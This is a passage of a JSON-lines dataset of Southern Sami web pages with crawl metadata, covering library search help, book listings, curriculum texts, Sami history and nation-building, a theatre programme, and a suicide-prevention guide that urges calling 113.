gåarede, guktie datne soptsesen galhkuvem guarkah?\nGuktie jïh man åvteste almetjen identiteete jïh jïjtje-guvvie mubpijste maahta tsavtsasuvvieh? Buerkesth.\nMan åvteste almetjasse maahta geerve gööktine kultuvrine byjjenidh jïh jieledh? Buerkesth.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:55c71014-7dec-48ce-a393-2fa933862f6e","date":"2023-09-22T08:15:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00649.warc.gz","language":"sma","language_score":0.9999601841,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.99996018409729}","num_words":121,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Materijellem ohtsedh\nJis edtjh lidteratuvrem ohtsedh tjoerh mijjen gærjagåetiesysteemem Oria rïhpestidh.\nOria lea ohtsemedïenesje maam maahtah nuhtjedh gærjagåetien materijellem gaavnedh, goh gærjah, tjaalegh, aejkietjaalegh, dotkemetjaalegh, bïevnesegærjah, musihke jïh filmh.\nDaesnie mijjen gærjagåetiesysteemem Oria gaavnh\n- Ih daarpesjh sïjse loggedh jis edtjh lidteratuvrem ohtsedh, men gosse jïjtjemdh sïjse loggeme maahtah dongkedh jïh dov löönemh reeredh.\n- Tjaelieh aktem jallh jienebh ohtsemebaakoeh ohtsemesijjesne, goh tihtele, tjaelijen nomme jallh teema, diedtieh «Søk i Oria».\n- Gosse vihties tihtelem ohtsh, nuhtjh heeremevæhtam «tihtele».\n- Jis vihties gærjam jallh tjaalegem ohtsh, maahta væjsehke årrodh tjaelijen nommem jïh aktem jallh jienebh baakoeh tihtelistie nuhtjedh.\n- Jis Avansert søk veeljh datne jienebh nuepieh gaavnh guktie maahtah ohtsedh viehkine jienebh ohtsemebaakoeh ektesne nuhtjedh.\n- Jis edtjh ohtsemem gaertjiedidh jïh dam tjyölkehkåbpoe darjodh maahtah dam åelkiesbielesne darjodh.\nLöönemem dongkedh\nAktegsalmetjh jeatjah sijjine laantesne tjuerieh löönemem dongkedh sijjen lïhkemes gærjagåetien tjïrrh.\nAktegsalmetjh gïeh nuepiem utnieh materijellem veedtjedh Saemiedigkien gærjagåetesne Karasjohkesne:\n- Diedtieh «Logg på» bijjemes åelkiesroenesne. Veeljh «Brukernavn og passord» goh sïjseloggeme. BrukerID lea dov löönemekåarhtenommere.\n- Ohtsh materijellem maam sïjhth dongkedh.\n- Menyjesne «Finn og bestill» deadtah «Bestill dokument».\n- Vihtesth vihkine diedtedh «Bestill dokument».\n- Datne bïevnesem åadtjoeh gåessie maahtah materijellem Saemiedigkien gærjagåetesne Karasjohkesne veedtjedh.\n- Jis leah dov baahtsemebaakoem åajaldamme, maahtah dam daesnie jarkelidh.\n- Jis viehkiem daarpesjh dov utnijenommem gaavnedh, gaskesadth mijjine email@example.com\nBiblioteksøk\nBiblioteksøk lea dïenesje Nasjonalbibliotekeste. Biblioteksøk edtja aktem tjaangemem vedtedh nöörjen gærjagåetiekatalogide, nuepiem vedtedh lidteratuvrem löönedh gaajhkh nöörjen gærjagåetijste, jïh ryöktesth baahtsemem nedtesne vedtedh lidteratuvrese maam lea digitaliseereme Nasjonalbibliotekesne. Datne aaj Saemiedigkien våarhkoem gaavnh sijjesne biblioteksøk.\nOhtsh sijjesne biblioteksøk daesnie.\nLohkh vielie faalenassen bïjre biblioteksøk daesnie.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sametinget.no\/saemiedigkien-garjagaetie\/dienesjh\/","date":"2023-12-02T02:25:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100309.57\/warc\/CC-MAIN-20231202010506-20231202040506-00641.warc.gz","language":"sma","language_score":1.000000596,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000005960464478}","num_words":250,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n1997\nGiele\nISBN\n9177160975\nFormaate\nSïejhme gærja\nReakta-aajhtere\nMarcus Hedström, Wayland Ltd.\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n36\nMaanide lohkemegærja vaanesovmem jïh aavontem bïjre. Daennie gærjesne soptseste guktie maanah domtoeh gosse gie akth ååvede, jïh mestie jeatjebh maehtieh ååvedh.\nGærja saakeste guktie reava lolledh jïh ååvedh. Gærjan minngiegietjesne bïhkedimmie guktie lohkehtæjjah jïh eejhtegh maehtieh maanajgujmie aamhtesinie barkedh.\nMarcus Hedström lea guvviedamme guktie maanide aelkebe guarkedh mij lea dïhte aavonte jïh vaanesovme.\nGærja aaj noerhtesaemiengïelese gååvnese.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/girji_manne-aavonte","date":"2023-12-03T23:14:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100518.73\/warc\/CC-MAIN-20231203225036-20231204015036-00365.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":76,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faagesne englaantengïele dïhte dåaresthfaageles teema almetjehealsoe jïh jieledehaalveme edtja learoehkidie viehkiehtidh jïjtjemse evtiedidh tjaaleldh jïh njaalmeldh englaantengïelesne soptsestidh. Daate våaromem vadta jïjtsh domtesh, åssjaldahkh, dååjrehtimmieh jïh mïelh buektedh. Lïerehtimmie maahta orre perspektijvh ovmessie ussjedimmievuekide jïh gaskesadtememöönsteridie vedtedh, jïh jïjtsh jïh mubpiej jieledevuakan jïh jieledetseahkan. Tsiehkieh gïetedidh mah gïele- jïh kultuvremaahtoem kreava maahta learoehkidie haalvemedomtesem vedtedh jïh viehkiehtidh guktie positijve jïjtjeguvviem jïh jearsoe identiteetem evtiedieh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/eng01-04\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2023-11-30T11:13:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100184.3\/warc\/CC-MAIN-20231130094531-20231130124531-00845.warc.gz","language":"sma","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009536743164}","num_words":64,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.112,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learohkh edtjieh guarkedh guktie geograafeles, histovrijes jïh daaletje tsiehkieh leah eaktoeh bïejeme jïh biejieh guktie almetjh leah sijjen daerpiesvoeth åådtjeme jïh åadtjoeh, jïh guktie vierhtieh ovmessie seabradahkine leah juakasovveme jïh juakasuvvieh. Edtja vuejnedh geograafeles gellievoete jïh jeerehtsh mierieh biejieh jieledevåaroemasse jïh jieledetsiehkide. Learohkh edtjieh daajroem åadtjodh dej ekonomeles, byjreseligke jïh sosijaale dimensjovni bïjre monnehke evtiedimmesne, jïh ektiedimmien bïjre dej gaskem. Dah edtjieh guarkedh guktie jarkelimmieh åvtetje aejkien leah dejtie golme dimensjovnide baajnehtamme jïh dan gaavhtan guarkedh man monnehke doh ovmessie seabradahkh leah. Learohkh edtjieh vuejnedh almetji vierhtieåtnoe leah konsekvensh åtneme jïh utnieh, jïh maehtedh dahkoealternatijvh monnehke evtiedimmien åvteste vuarjasjidh, individuelle, nasjonaale jïh veartenevijries daltesisnie. Edtja monnehke evtiedimmiem seabradahkefaagesne tjoevkesisnie vuejnedh ovmessie perspektijvijste, dehtie voenges perspektijveste dan veartenevijries perspektijvese, jïh aalkoeåålmege- jïh unnebelåhkoeperspektijvine, leavlojne åvtetje aajkan, daaletje tïjjese jïh båetijen aajkan.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/saf02-04\/om-faget\/kjerneelementer?lang=sma","date":"2023-12-11T05:49:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103558.93\/warc\/CC-MAIN-20231211045204-20231211075204-00191.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":130,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aktiviteter\n\"Ij leah daerpies universiteetesne lohkedh jis edtja gïelem bååstede vaeltedh. Fïerhten almetjen lea jïjtse vuekie, jïh gïele ij leah gåessie gih gaarvanamme.\"\nElin Anna Labba sov gïelefeelemen bïjre soptseste jïh joekehts vuekiej bïjre bååstede saemiengïelese.\nVuesiehtimmie lea gaahpode. Aelpies beapmoe kafeesne.\nSaemien Sijtesne tsåahka 18.00\nÖörnehtæjjah:\nGïelem nastedh jïh Saemien Sijte","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/saemiensijte.no\/sami\/aktiviteter\/elin-anna-labba-mov-gielefeeleme\/","date":"2023-12-01T03:04:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100264.9\/warc\/CC-MAIN-20231201021234-20231201051234-00229.warc.gz","language":"sma","language_score":0.9999423027,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999423027038574}","num_words":51,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.216,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n1996\nISBN\n8205238960\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n136\nRisten Sokkin tjihtesegærja Guovdageaidnu-stujmien bïjre.\nBonán bonán soga suonaid lea tjihtesegærja mesnie Guovdageaidnu-stujmiem goerebe joe gærjan aalkoevistie gïdth gærjan minngiegeatjan. Tjihtesijstie vïhtesjibie man lïhke daaletje aejkie lea dovletjem, jïh almetjh jis eatnemem. Gærja vielie såårne dovne jaahkoen, lïhkesvoeten jïh vædtsoehvoeten bïjre. Gærjan noerhtesaemien jïh daaroen teekste baaltesæjran tjåadtjoeminie.\nGærja digitaalegærjine lohkemisnie Nasjonaalebiblioteekesne.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/girji_bonan-bonan-soga-suonaid-jeg-tvinner-tvinner-slektas-sener","date":"2024-03-02T09:39:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475806.52\/warc\/CC-MAIN-20240302084508-20240302114508-00402.warc.gz","language":"sma","language_score":0.9999388456,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999388456344604}","num_words":67,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"HEEVEHTIMMIEJAEPIE 2023 – VIERHTIEH JÏH RÆJHKOESVOETE – TORE HUNDEN RÏJHKESNE\nTore Hund Bjarkøyeste Harstaden lïhke, lij akte laanten ræjhkoesommes jïh faamohkommes åajvaladtjijste. Dïhte eelki goh Olav Haraldssonen laantemaennie jïh orriji goh dan uvtemes vuastalæjjine jïh bovvestæjjine sjïdtedh gæmhposne Stiklestadesne. Jarkelimmie bööti mænngan vierhtiej jïh ræjhkoesvoeten bïjre gymhpeme gellie jaepieh, jïh vïerremes sjïdti jaepien 1023 gosse gånkan tjirkije Tore Sel båvvalgi Avaldsnesesne. Jaepien 2023 dan åvteste Tore Hunden rïjhke heevehtimmiejaepiem åtna goh bielie Nasjonaaleheevehtimmeste – Nöörje stoerretjuetie jaepieh jïh nasjonaaleheevehtimmien teema daan jaepien lea «Vierhtieh jïh ræjhkoesvoete».\nStiklestad Nasjonale Kultursenter jïh Museene Arven sijhtieh jaepiej åvtese dam saemien bieliem mijjen bievniemisnie åvtese lutnjedh vikingetïjjen jïh gaskeaalteren bïjre. Daate dorjesåvva laavenjostosne dej jeatjah museumigujmie Trööndelagesne.\nVIERHTIEH JÏH RÆJHKOESVOETE\nVierhtieh iktesth våaroeminie orreme faamose, jïh gæmhpoe vierhtiej bïjre lij jarngesne gosse gånka Olav Haraldsson prosessine gïehteli rïjhkem tseegkedh. Jaepien 2023 daate gæmhpoe lij jallatjommesen nelnie gernieræjhtosne, ov-vaantoe vierhtiej bïjre mij viehkiehti vigkiem lissiehtidh gånka Olaven jïh mearoegaedtie-aristokratijen gaskem Jillie- jïh Noerhte-Nöörjesne.\nAkte våajnoes gïeje daan ræjhkoesvoeten minngesne maehtebe annje Bjarkøyesne vuejnedh, gusnie arkeologh leah Tore Hunden naevstiesijjiem gaavneme gusnie skïhph tjaakanin mah lin stuerebe goh dovne Oseberg- jïh Gokstadskïhpe. Våarome åajvaladtji stoerre ræjhkoesvoetese mearoegaedtien mietie, lij åajvahkommes skaehtiekrïebpesjimmie jïh åesiestimmie saemiejgujmie. Vaaroeh mejgujmie åesiesti lin dovne naehkieh, nåervie- jïh faalanaehkierïejhph jïh aegkie ledtijste, lissine saemieh hijven vïnhtsh bigkin. Dam hijvenlaakan vihtiestamme åajvaladtje Ottaren ållermaehtiemisnie 800-låhkoste jïh ovmessie vierhkine gusnie åesiestimmiem saemiejgujmie, saemieskaehtiem jïh vïnhtsebigkemem buerkeste.\nSoptsesisnie Aejlies Olaven bïjre, kap. 193 jïh 228, Snorre Sturlason tjaala:\n«Tore Hund saemiej luvnie mïnneme daah göökte daelvieh, jïh fïerhten daelvien lij guhkiem orreme bijjene vaeresne jïh gaajh jïjnjh vaaroeh åådtjeme jïh jïjnjem saemiejgujmie åesiestamme. Dïhte baaji jïjtsasse 12 muadtah gåaroehtidh, dan jïjnje nåajtoeminie guktie idtji naan vaeknieh muadtaj tjïrrh juhtieh, sagke vaenebe goh brynjesne metallereagkijste»\n«Tore gånkam laarin jïh dah fïereguhten aejkien sinsitniem laarin, men muadtan gaavhtan sviertie idtji gånkam skunhkh…»\nTORE HUNDEN ČEHPORIS\nJieniebinie tjeahpoelaaketje vuesiehtimmine Gæmhposte Stiklestadesne, goh guvvesne bijjielisnie, Tore Hund lea gåårveldihkie muadtine bovtsendueljeste. Jupmeles soptsesisnie gæmhpoen bïjre Tore Hundem utni goh tjirkije ov-jupmelesvoeten åvteste gaskesadtemen gaavhtan saemiejgujmie jïh magijeles muadtan gaavhtan. Goh gånkan bovvestæjja dïhte tjåadtjan sjædta goh mïrhke vuestiebielie don jupmeles gånkese jïh tjoevkije heelgene Olavese.\nDaate stereotype jïh demoniseereden åehpiedehteme dovne Tore Hundeste jïh dehtie saemien bieleste jåerhkieji jïh veaksahkåbpoe sjïdti nasjonaaleromantihken daaroedehtemeprosjekteste. Mijjen tïjjen raajan lea fer vaenie bïevnesh buakteme saemiej baelien jïh råållan bïjre goh vihkeles aktöörh seabradahkesne vijkingetïjjen jïh gaskeaalteren.\nJuktie dam saemien bieliem våajnoes darjodh aktene dejstie stoerre soptsesijstie Nöörjen bïjre, Várdobáiki museume dotkemeprosjektem tjïrrehtamme gusnie edtji gaarvoem maam Tore Hund gæmhposne nuhtji, orresistie sjugniedidh. Snorren luvnie daate gaptine vååjnoe, men dïhte gamte vierhtiedåehkie Várdobáikisne gaavnehti daate buerebh lea čehporis (noerhtesaemien gïelesne), akte såarhts åenehks skopmehke mij lea bovtsendueljeste dorjesovveme. Vytnesjæjja Ellen Berit Dalbakk lea daam čehporisem orresistie sjugniedamme.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/stiklestad.no\/tore-hunden-cehporis\/","date":"2024-02-24T10:29:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474526.76\/warc\/CC-MAIN-20240224080616-20240224110616-00494.warc.gz","language":"sma","language_score":0.9999595881,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999595880508423}","num_words":444,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien nasjovnetseegkeme\nJaepien 2017 saemieh tjuetie jaepieh heevehtin don sosijaalepolitihkeles mobiliseeremasse mij edtji saemien seabradahkide orresistie tseegkedh. Rïjhketjåanghkoen gaavhtan Tråantesne 1917, goevten 6.b. lea daelie saemiej åålmegebiejjie. Daelie gellie saemien kultuvre-, ööhpehtimmie- jïh jielemeinstitusjovnh\/organisasjovnh, jïjtse saemien parlameente, byögkeles nasjonaale symbovlh goh saevege, medijakanaalh (gusnie Oddasat ektiesaadtegh Sveerjine jïh Soemine åtna), jïh jïjtsh laakh gååvnesieh mah edtjieh saemiej aalkoeåålmegereaktah gorredidh. Saemieh aaj jïjtsh statusem åådtjeme gaskenasjonaale diplomatihkeles jïh politihkeles barkosne aalkoeåålmegeaamhtesigujmie. (Vars 2017).\nEktesne jieledh jïh gellievoete\nSaemien vuastalimmiegæmhpoe vuesehte doh jarkelamme eaktoeh saemien nasjovnese idtji ajve nöörjen åejvieladtji liktemeprosessen gaavhtan båetieh. Saemien reaktah jïh krievenassh seahkarimmien bïjre gïelese jïh kultuvrese leah aaj gæmhpoe orreme mij bijjelen tjuetie jaepieh vaaseme. Daate tsiehkie gujht digkiedimmine gaarvene maam preessa tjïrrehte, jïh såemies nöörjen politihkeri gaskem, dan åvteste saemiej eaktoeh guarkeme sjidtieh dan mietie maam nöörjen åejvieladtjh leah vyljehke vedtedh\/dåarjodh, ij dan saemien jïjtjegoerkesen mietie.\n\"Såamasidie maahta krievije årrodh nasjovnem måjhtelidh staateraasten namhtah, men maahta dan åvteste argumeenteredh dan åvteste saemien åålmege njieljie staatine orre: Nöörje, Sveerje, Soeme jïh Russlaante.\nNaakenh tuhtjieh åssjalommese saemien nasjovnen bïjre lea aajhtije, joekoen tsiehkine gusnie vuastalæjjah dåeriesmoerh utnieh nasjovnen jïh staaten gaskem joekehtidh, akte daajehtse maam maahta båajhtoehlaakan guarkedh jïh aajhtoeguvviem dovne faamoetsiehkien jïh ekonomijen bïjre vadta. Såamasidie maahta krïevije årrodh nasjovnem måjhtelidh staateraasten namhtah, men maahta dan åvteste argumenteeredh dan åvteste saemien åålmege njieljie staatine orre; Nöörje, Sveerje, Soeme jïh Russlaante, saemien nasjovne mij lea raasten dåaresth ektievoetese tseegkesovveme.\nIdentiteete aerpievuekien, gïelen, sosijaale möönsteri jïh jielemi bïjre lea ektie dovne daaroen jïh saemien nasjovnetseegkemeprosjektese, naakede mij våajnoes dej institusjovnine jïh symbolihkesne. Daajroe nöörjen seabradahke bïjre goh komplekse jïh gellielaaketje lea daerpies (Røthing 2017).\n\"Daajroe nöörjen seabradahken bïjre goh komplekse jïh gellielaaketje lea daerpies.\nIdentiteete sæjhta iktesth faamosne årrodh aktene relasjonelle raastesijjesne dan individuelle identiteeten jïh dåehkieidentiteeten gaskem, aerpievuekien jïh orre impulsi gaskem. Lissine ovmessie identiteeti sïjse jïh sistie svihtjebe (saemien, nöörjen, etnihkeles, religijööse, tjoele jïh\/jallh klaasse). Goerehtimmieh vuesiehtimmien gaavhtan vuesiehtieh ij leah naan gaahtjeme dan saemien jïh nöörjen gaskem, jïh saemien årroje maahta saemien jïh nöörjen identiteetem aelhkieslaakan kombineeredh (Selle jïh Semb 2015). Lissiehtamme goerkese saemiej jïjtjegoerkesistie goh nasjovne, potensijaalem åtna Nöörjem vuesiehtidh goh gellienasjonaale staate, seammalaakan goh gellie jeatjah staath Europesne jïh Europan ålkolen.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/artikler\/saemien-nasjovnetseegkeme","date":"2024-03-01T21:36:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475701.61\/warc\/CC-MAIN-20240301193300-20240301223300-00274.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":353,"character_repetition_ratio":0.055,"word_repetition_ratio":0.017,"special_characters_ratio":0.141,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aahka\n– Tjaetsien mojhtese\nAahka – Tjaetsien mojhtese\nEuropesne gusnie dåara juhtieminie, noere nïejte noerhkesåvva sov hïejmem laehpedh. Seamma tïjjen noere saemiebaernie soejkesjeminie staaten internaateskuvleste baataridh. Jïh seammalaakan goh tjaetsie veartenen tjïrrh svæhtja aaj dej jieledh gievliem dåeriedieh mah orre geajnoeh jïh orre båetijem aejkiem gaevnieh.\nMinngemes bielie trilogijesne lea konsertevuesiehtimmie aalkoevuesiehtimmine Bådåddjån stoerregærhkosne laavenjostosne Helgelands Sinfoniettine. Aahka lea maanan jearsoesvoete. Dïhte lååvle jïh soptsesem juajka don baelien bïjre gosse almetje læhkoes harmonijesne eatnaminie jïh univeersine veasoeji.\nAahka — tjaetsien mojtele \/ memory of water\nIn a war-torn Europe, a young girl is forced to leave her home. Simultaneously, a Sámi boy plans to escape from the state boarding school. And just like water moves through the world, their lives belong to a cycle that finds new paths and a new future.\nThe final part of the trilogy is a concert performance in collaboration with Helgeland Sinfonietta and will have its world premiere in Bodø Cathedral. Aahka (grandmother) represents the child's security. Through song and joik, she tells the story of how humanity lived happily in harmony with the nature and the universe.\nAahka — tjaetsien mojtele \/ vannets hukommelse\nI et krigsherjet Europa tvinges en ung jente til å forlate sitt hjem. Samtidig planlegger en ung samegutt å flykte fra den statlige internatskolen. Og på samme måte som vannet beveger seg gjennom verden, inngår deres liv i et kretsløp som finner nye veier og en ny fremtid.\nSiste del i trilogien er en konsertforestilling med urpremiere i Bodø domkirke i samarbeid med Helgelands Sinfonietta. Aahka (bestemor) er barnets trygghet. Hun synger og joiker fortellingen om hvordan det var da mennesket levde lykkelig i harmoni med naturen og universet.\nVuesiehtimmie lea åarjelsaemien, nöörjen jïh englaanten gïelesne. Laavlomh noerhtesaemiengïelesne. Iktedimmie vuesiehtimmie vadtasåvva åvtelhbodti.\nPlayed in Sout-Sami, Norwegian and English. Songs in North-Sami. A summary of the performance is given in advance\nSpilles på sørsamisk, norsk og engelsk. Sanger på nordsamisk. Sammendrag av forestillingen gis i forkant.\nLaavenjostoe Helgeland Sinfoniettine\nNordland Teater, Nöörjen kultuvredirektoraate - prosjektedåarjoe\nCooperation with Helgeland Sinfonietta\nSupported by: Samfunnsløftet SpareBank 1 Nord-Norge, Nordland teater, Art Council Norway, Bodø 2024 and the Sami Parliament","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/asteatere.no\/vuesiehtimmieh\/biegke-beahteme\/","date":"2024-02-25T22:06:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474643.29\/warc\/CC-MAIN-20240225203035-20240225233035-00067.warc.gz","language":"sma","language_score":0.9177008271,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9177008271217346, \"sme_Latn_score\": 0.04398733749985695, \"nob_Latn_score\": 0.02248406782746315}","num_words":346,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.946,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ringkh 113 gosse naaken lea hïehkede vaahresne aemielusesedh\nJis vïenhth naaken lea hïehkede vaahresne jïjtjemse irhkedh jallh aemieluesedh edtjh iktesth ringkedh 113.\nDah mah nommerisnie 113 barkeminie haarjanimmiem utnieh viehkiem vedtedh dagkerh tsiehkine. Dah maehtieh aaj vuarjasjidh man itjmies tsiehkie lea, guktie slyöhph dam vuarjasjimmiem jïjtje darjodh.\nVihkele datne ringkh jalhts dïhte gïen bïjre lea, ij sïjhth datne edtjh ringkedh. Tjïelkesth datne ringkh dan åvteste datne ih sïjhth dïhte edtja jaemedh. Aellieh vaedtsieh åvtelen viehkie båata.\nRingkh 113\nJis leah hïehkede vaahresne aemieluesedh, ringkh dallah 113. Ringkh buerebh ikth fer jïjnje goh ikth fer vaenie.\nMij maahtah væhtine årrodh aemieluesemeåssjaldahkide?\nFåantoeh man åvteste almetje åssjaldahkh åådtje jallh pryövoe aemieluesedh leah daamtaj gellielaaketje. Naakenidie aemieluesemeåssjaldahkh leah vïedteldihkie akten aahpan jallh akten skuapmah heannadæmman, mubpiej luvnie akte dåeriesmoere mij guhkiem vaaseme jïh ahkedh bååstede båata.\nMestie datne tjoeperdh?\nDagke dïhte, mestie tjoeperdh, geerve jieledetseahkan båateme? Datne dååjrh dïhte lea aalkeme jeatjahlaakan dåemiedidh?\nMaahtah fåantoem utnedh tjoeperdidh, jis dïhte mestie tjoeperdh:\n- ij sïjhth mubpiejgujmie årrodh jïh lea jïjnje oktegh\n- vielie reesmesåvva jïh lea raessesne, jïh tsagkesh åtna astasligke tjahkasjidh\n- vielie alkohovlem jåvka jallh vielie ruvsevierhtieh nuhtjie goh sïejhmede dorje\n- fysiske jallh psykiske baektjede\n- håjnan jïh ovmurreds vååjnoe, jïh lea håjnan vååjneme guhkiem\n- håhkoem dasseme båetijen aajkan\n- jeahta jielede ij leah vyörtegs jieledh\n- soptseste satne lea maajsoe jeatjabidie jïh ij aarvoem utnieh\n- vielie jaemeden bïjre soptseste goh sïejhmelaakan dorje\n- stoerre fokusem åtna ekonomeles åeliedimmide, goh tjirkemh, testameente jïh laajkoe\nMaam darjoeh jis vïenhth naakene aemieluesemeåssjaldahkh åtna?\nJieleden tjïrrh jeenjesh mah maehtieh åssjaldahkh aemieluesemen bïjre utnedh. Naakenidie maahta åssjaldahkh årrodh jielede ij leah vyörtegs jieledh guktie lea satnine daelie, jeatjabidie maahta tjïelke åssjaldahkh årrodh aemieluesedh. Jis åssjaldahkh fer sååjrehke jïh behtjije sjidtieh, dellie vihkele viehkiem ohtsedh.\nDoesth pryöjjedh!\nAlmetjh aemieluesemeåssjaldahkigujmie maehtieh dååjredh gaajhke leeseldihkie vååjnoe, jïh ij naan raerieh gååvnesh dam jarkelidh. Gosse naakenh dan geerve utnieh, maehtieh tjoeperdidh sijjieh leah maajsoe jeatjabidie. Jeenjesh dan åvteste eah sijjen åssjaldahkh naakenigujmie juekieh.\nJis naakenem damth mij vienth numhtie åtna, dellie vihkele datne doesth pryöjjadidh jïh skraejriem vaaltah dan bïjre soptsestidh.\nGihtjh ryöktesth\nPryövh ryöktesth jïh tjyölkehke årrodh bielelen gevsiedidh jallh dööpmedh. Vuesehth datne pryöjjedh jïh tjoeperdh, aellieh bïllh maam akt yöjtede jiehtedh, jïh pryövh goltelidh vielie goh soptsesth.\nGoltelh jïh årroeh ræhpas\nGoltelidh, doestedh soptsestidh jïh dåarjoem vuesiehtidh maahta domtedh goh vaarjelimmie. Gosse jeatjebh guvlieh jïh vuejnieh dellie dïhte maahta jieledem beerkedh.\nOhtsedh viehkiem gosse daerpies\nPryövh goerkesem åadtjodh man hïehkede tsiehkie lea. Dïhte maahta moenedh gïem edtjh gaskesadtedh.\nNaemhtie aemieluesemeåssjaldahki bïjre soptsesth\nMaahta geerve årrodh aemieluesemeåssjaldahki bïjre gihtjedh. Jeenjesh billieh jis aemieluesemeåssjaldahki bïjre gihtjie dellie dïhte maahta vaahram aemieluesiemasse lissiehtidh. Ij leah numhtie. Ij leah mij gænnah mij vååjnoe goh lea vaarege aemieluesemeåssjaldahki bïjre soptsestidh, jallh dïhte maahta åssjaldahkem aemieluesemen bïjre nænnoestidh.\nRaerieh mïsse maahtah jiehtedh\nDatne giestie tjoeperdh, jiehtieh dam dïsse vihtieslaakan jïh tjïelkelaakan. Daesnie såemies raeriestimmieh guktie maahtah ryöktesth gihtjedh:\n- Datne jeahtah datne leah gaajhkeste vissjehtovveme. Mah numhtie datne ussjedamme aemieluesedh?\n- Manne datneste tjoeperdem, vååjnoe goh datne joekoen geerve åtnah. Mah dan nåake goh datne leah ussjedamme aemieluesedh?\n- Datne muvhtine ussjedh aemieluesedh?\n- Manne dam jeahtam dan åvteste datnem seatedem – datne åssjaldahkh aemieluesemen bïjre åtnah?\nVivat aemieluesemehööpteme lea ööhpehtimmiefilmem 